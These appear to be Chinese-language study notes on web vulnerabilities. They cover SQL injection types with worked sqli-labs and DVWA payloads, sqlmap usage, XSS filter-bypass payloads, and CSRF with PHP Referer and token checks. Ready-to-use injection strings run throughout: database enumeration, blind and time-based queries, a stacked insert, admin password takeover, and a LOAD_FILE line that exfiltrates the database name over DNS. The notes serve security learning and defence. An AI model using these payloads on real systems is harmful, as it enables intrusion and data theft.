漏洞总结(11/25)
SQL
漏洞产生的前提条件
-
参数用户可控
-
参数带入数据库查询
MySQL相关知识
MySQL5.0之后,MySQL默认在数据库中存放一个"information_schema"数据库。这个数据库中三个重要的表:
schemata、tables、columns。
-
schemata:存放该用户创建的所有数据库的名字(schema_name)。
-
tables:存放了该用户创建的是所有数据库库名(table_schema)和表名(table_name)。
-
columns:存放了该用户创建的所有数据库库名(table_schema)、表名(table_name)、字段名(column_name)。
几个mysql函数
-
version():当前mysql版本
-
database():当前数据库名
-
user():当前Mysql用户
-
substr(‘str’,start,num):截取字符串
-
ascii()
-
updatexml():详见报错注入
注释符号
-
#
-
-- x
-
/**/
SQL注入类型
联合注入、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入。
SQL注入流程
SQL漏洞扫描工具
sqlmap介绍
sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定url的sql注入漏洞,内置了很 多绕过插件,支持的数据库是MYSQL、Oracle、postgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、sydbase、SAP MaxDB。
sqlmap的使用
sqlmap.py -v 3 -u http://xxx.xxx.xxx --batch -v:探测等级 --batch:自动选择默认执行 --dbs:列出所有数据库 -D 数据库名 --tables:列出固定数据库中所有的表 -D 数据库名 -T 表名 --columns:列出固定数据库固定表中的所有字段 -D 数据库名 -T 表名 -C 字段名,字段名 --dump:获取字段中的值 --users:列出所有管理用户 --passwords:列出数据库的用户密码 -current-db:列出当前网站使用的数据库 当注入点的参数大于等于2时,需要给url加双引号包裹
危害
成功的SQL注入攻击会导致未经授权访问敏感数据,如密码、信用卡细节或个人用户信息。近年来,许多备受瞩目的数据泄露事件都是由于SQL注入攻击造成的,这可能导致企业声誉受损和监管罚款。在某些情况下,攻击者可以获得一个进入组织系统的持久性后门,导致长期的泄密,而这种泄密可能在很长一段时间内都不会被发现。
union联合注入
get练习:
-
sqli-labs:Less-1、Less-2
-
DVWA:SQL injection --Low
DVWA
#判断注入类型:字符串or数字型(结合and)
#判断字段数:1' order by x -- a
#找回显位:1' union select 1,2,3 -- a
#数据库:1' union select 1,database() -- a
#表:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' -- a
#字段名:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name= 'users' -- a
post练习
-
SQL注入靶场POST注入
POST注入01
#判断注入类型:字符串or数字型(or)
#判断字段数:1' 1=1 order by 3 -- a
#联合注入判断回显位:1' union select 1,2,3 -- a
#数据库:-1' union select 1,2,database() -- a
#表:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- a
head注入/报错注入
两者通常结合在一起使用,因为网站在处理登录时会保存一些HTTP_HEADER信息。
练习
-
sqli-labs:Less-18
爆错函数
-
updatexml(目标xml内容,xml文档路径,更新的内容)函数:当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
-
extractvalue(xml_frag,xpath_expr):第二个参数含特殊字符就会报错,并且把第二个参数的内容显示在报错信息中。
-
floor()
-
exp()
插件
ModHeader - Modify HTTP heasers
布尔盲注
某些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进修注入的判断,这种情况下的注入称为盲注。类型分为:布尔盲注和时间盲注。
布尔盲注有两种结果:有数据、没有数据。
函数
通过长度判断:
-
length()
-
length(database())>x
通过字符判断:
-
substr(str,start,step)
通过ascii码判断:
-
ascii()
-
ascii(substr(database(),1,1))=x
练习
-
sqli-labs:Less-8
sqli-labs Less-8
有数据:
无数据:
#判断数据库名长度
?id=1' and length(database())=6 -- a
#数据库名
?id=1' and substr(database(),1,1)='n' -- a
#判断表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100-- a
时间盲注
构造语句,通过页面响应的时长来判断信息。
只有一种页面显示,完全看不出来区别。
函数
-
sleep()
-
if(st1,str2,str3):如果str1正确就执行str2,否则执行str3
练习
-
sqli-labs:Less-9、Less-10
sqli-labs(Less-9)
判断注入类型
?id=1' and sleep(5) -- a 有延迟
判断数据库名长度
?id=1' and if(length((select database()))>3,sleep(3),1) -- a
判断第一个表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(3),1) -- a
判断第一个表的第一个字母
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(3),1) -- a
宽字节注入
宽字节注入主要是源于程序员设置数据库编码与php编码设置为不同的两个编码,这样就可能会产生宽 字节注入。如果是MySQL数据库编码设置伪GBK编码,那么就可能存在宽字节注入。
出现漏洞的原因: php参数处理时,可能会在特殊字符前面添加一个\ ==> 拼接好后发送给数据库 ==> 但是数据库用的是GBK编码 解决办法: 消灭'\'' ==> 在特殊符号前加'%df' ==>GBK编码会认为是:%df+\ ==> %df%5c ==> 被编码翻译成一个汉字
练习(sqli-labs)
-
Less-32 Bypass addslashes()
-
Less-33 Bypass addslashes()
-
Less-34 Bypass addslashes()
-
Less-35 why care for addslashes()
-
Less-36
-
Less-37
sqli-labs(Less-32)
单引号测试一下。
发现会在特殊字符前加'\'来达到注释掉特殊字符的目的。
尝试%df宽字节绕过。
判断注入类型
?id=1%df'
判断字段数
?id=%df' order by 3 -- a
判断回显位
?id=%df' union select 1,2,3 -- a
数据库名
?id=%df' union select 1,2,database() -- a
堆叠注入
多条sql语句一起执行。SQL语句中,';'用来表示sql语句的结束。如果结束一条sql语句后继续构造下一条语句。
使用条件:mysqli_multi_query()执行多条。
练习(sqli-labs)
-
sqli-labs less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)
-
sqli-labs less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)
sqli-labs(Less-38)
判断注入类型 发现没有进行过滤
?id=1' and 1=1 -- a
判断字段数
?id=1' order by 3 -- a
找回显位
?id=-2' union select 1,2,3 -- a
继续查数据库,表,字段名之后
堆叠注入,插入一条数据
?id=-2';insert into users(id,username,password) values(101,'xxx','123456');
二次注入
攻击者构造恶意的数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
步骤:
通常是通过注册,输入用户名和密码
查询刚刚输入的用户名导致的异常SQL语句执行
1、插入恶意数据(对特殊字符进行转义处理,写入数据库时解码后就能保留原来的数据)
2、引用恶意数据
# username= 2'#
# password =123123
# 参数是会被过滤的,会被处理
# username = 2\'#
insert into user values (null, '2\'#','123123'); 写入数据的时候写入的是 2'#
# 如果我有个功能,修改密码的功能
# 修改密码的功能是需要我们登录的,登录成功是需要保存一个状态数据:用户名,用户ID等等
# 假设修改密码的功能的语句:
update user set password="111111" where username='保存的用户' and password='原来的密
码'
update user set password="111111" where username='2'#' and password='原来的密码'
# 现在改到的是2用户的密码
练习(sqli-labs)
-
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
sqli-labs(Less-24)
admin账号已存在。
新注册一个账户
admin'# 单引号闭合密码修改时用户名的单引号,#是注释后面的password语句
123456
登录该账户。修改密码。此时修改的就是admin的密码。
Cookie注入
一般防御注入会设置黑名单,但是可能只过滤了GET、POST方式提交的数据。对通过Cookie方式提交的数据没有进行过滤。那么可以使用Cookie注入。
cookie注入在asp的网站上可能出现几率比较大。在PHP的网站上有版本限制,基本只会出现在php5.2及以前。
如何判断是否存在cookie注入漏洞
去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。如果正常,则说明使用cookie作为参数传递。
练习(sqli-labs)
-
Less - 20 Cookie Injection - Uagent field -error based
sqli-labs(Less-20)
抓包修改cookie的值:
数据库名
Cookie:uname=admin' and updatexml(1,concat(0x7e,(select database()),1),1)-- a
Base64注入
参数值经过base64编码
例如:
xxxx?id=1 ==>没有结果,查询不到id=1的信息
1 ===> base64编码 ===> MQ==
xxxx?id=MQ== ==>有结果
DNS注入
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把 想获得的数据外带出来。
免费dnslog平台: DNSLog Platform
用法:
select LOAD_FILE("//zhoujielun.rmxf12.dnslog.cn/xxx");
select LOAD_FILE(CONCAT("//",DATABASE(),".rmxf12.dnslog.cn/xxx"));
函数
LOAD_FILE() 读取文件的函数。读取文件并返回文件内容为字符串。
修复建议
-
参数化查询而不是在查询中进行字符串拼接
-
使用正确构建的存储过程
-
允许列表输入验证
-
转义用户提供的输入
-
避免网站显示SQL错误信息
-
对数据库操作进行监控,定期检查并发现应用程序的SQL注入漏洞
XSS(跨站脚本攻击)
跨站脚本(Cross-Site Scripting,XSS/CSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由 于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括 HTML代码和客户端javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶 意代码,对受害者可能采取Cookie资料窃取(偷cookie)、会话劫持、钓鱼欺骗等各种攻击。
xss的本质:前端代码注入
注入攻击的本质:把用户输入的数据当作代码执行
注入的条件
-
用户能够控制输入
-
原本程序要执行的代码拼接用户输入的数据
总而言之,xss就是拼接恶意的html。
危害
-
网络钓鱼,包括盗取各类用户账号;
-
窃取用户cookie资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
-
劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
-
强制弹出广告页面、刷流量等;
-
网页挂马;
-
进行恶意操作,例如任意篡改页面信息、删除文章等;
-
进行大量的客户端攻击,如DDoS攻击;
-
结合其他漏洞,如CSRF漏洞,实施进一步作恶;
-
传播跨站脚本蠕虫等。
xss分类
-
反射型xss:提交的数据实现了xss但是仅仅只争对这一次访问有影响。
-
存储型xss:提交的数据实现了xss,且存入了数据库,别人访问这个页0面也会自动触发。
-
dom型xss:利用dom相关的操作,修改页面。
反射型xss
非持久性xss,一次性。
攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发给目标用户。构造一个url,想办法让用户点击这个url。当目标用户访问该链接 时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏 览器,浏览器解析这段带有XSS代码的恶意脚本后,浏览器解析这段代码后就会触发xss攻击,完成攻击者 想要的功能(获取cookies、url、浏览器信息、IP等等)。
攻击流程
-
找参数可控的地方(url地址栏、输入框等)
-
观察参数是否回显在页面上
存储型xss
持久性xss,攻击脚本将永久放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客、留言板。攻击者将恶意脚本连同正常信息一起注入帖子内容中,恶意脚本随着帖子被服务器存储而永久存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中执行。
防御与绕过方法
-
对输入数据进行html实体化
-
利用htmlspecialchars这个函数对输入的数据进行html实体化
-
绕过方式:不使用标签,利用事件来绕过
-
-
对'<','>'进行过滤
-
过滤
-
绕过方式:不使用标签,利用事件绕过
-
-
对'()'过滤
-
绕过方式:反引号替换
<script>alert``</script>
、编码绕过等
-
-
对标签或事件进行过滤
-
将<script>处理成类似于<sc_ript>的形式,onerror处理成类似于on_error的形式
-
绕过方式:
-
利用伪协议进行绕过。
a"><a href="javascript:alert(1)">xx</a> 大小写绕过 "><SCRipt>alert(1)</script> 双写绕过 "><scscriptript>alert(1)<scscriptript>
-
-
对特殊字符进行过滤
-
编码绕过
-
ascii码 javascript:alert(1) ==》 javascript:alert(1)
-
-
其他防御方法:
-
在表单提交或者url参数传递前,对需要的参数进行过滤。
-
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了。
-
表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。
-
CSRF(跨站请求伪造)
简单来说,CSRF就是盗用你的身份,以你的名义发送请求、做一些操作。
如何检测有没有CSRF漏洞
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
原理
-
目标用户已经登录了网站,能够执行网站的功能;
-
目标用户访问了攻击者构造的Poc内容。
危害
盗用受害者身份,受害者账户能做什么攻击者就能做什么,例如:发送邮件、消息、购买商品、虚拟货币转账,修改受害者的网络配置(比如修改路由器DNS、冲值路由器密码)等。造成个人信息泄露、机密资料泄露、用户甚至企业的财产安全。
修复建议
三种防御策略:
-
验证HTTP Referer字段;
-
在请求地址中添加token并验证;
-
在HTTP头中自定义属性并验证;
验证Referer
首先我们要知道,浏览器是通过域名来判断我们是否访问的是同一个网站。HTTP协议中,HTTP头中有一个字段叫Referer,用来记录该HTTP请求的来源地址。简单来说,在访问一个安全受限页面时,发送的访问请求需要来自同一个网站,此时Referer才会相同。而攻击者实施CSRF攻击,只能在自己的网站构造请求,当攻击者通过自己的网站发送请求到被攻击网站时,Referer的值为攻击者的网站,这样的请求不合法,攻击失败。
<?php
//referer的配置
$real_referer = 'http://IP/from.php';
//获取referer
$referer = $_SERVER['HTTP_REFERER'];
if($real_referer != $referer){
echo '来源不合法';
die;
}
echo '来源合法';
?>
这种方法不能完全防御CSRF,在一些低版本浏览器referer的值不会传入请求头中。
Token
CSRF攻击是由于Cookie可以被“看见”的,它存储在浏览器端(用户本地),攻击者可以通过浏览器截取cookie。只要得到cookie,就可以无需登录进入网站。
要抵御CSRF,关键在于请求中的信息攻击者不能伪造、利用,那么就不能存放在cookie中。可以在 HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token, 如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。 这种方法要比检查Referer要安全一些,token可以在用户登陆后产生并放于session之中,然后在每次请求时把token从session中拿出,与请求中的token进行比对。
//前端代码
<?php
//开启session
session_start();
$key = "adfiuaeurfkaoaljzhbjyoip";
//生成token 随机的
$token = md5(rand(1,100000).$key);
//把token存入session
$_SESSION['token']=$token;
?>
<form action="./houtai.php" method="post">
<label>姓名:</label><input type="text" name="username">
<br><br>
<label>年龄:</label><input type="text" name="userAge">
<br><br>
<label>地址:</label><input type="text" name="userAddress">
<input type="hidden" name="token" value="<?=$token?>">
<br><br>
<input type="submit">
</form>
//后台验证
<?php
//开启session
session_start();
//获取表单提交的token
$token = $_POST['token'];
//获取session中的token
$session_token = $_SESSION['token'];
//判断
if($token != $session_token){
echo '错误';
die;
}
echo '修改成功!';
?>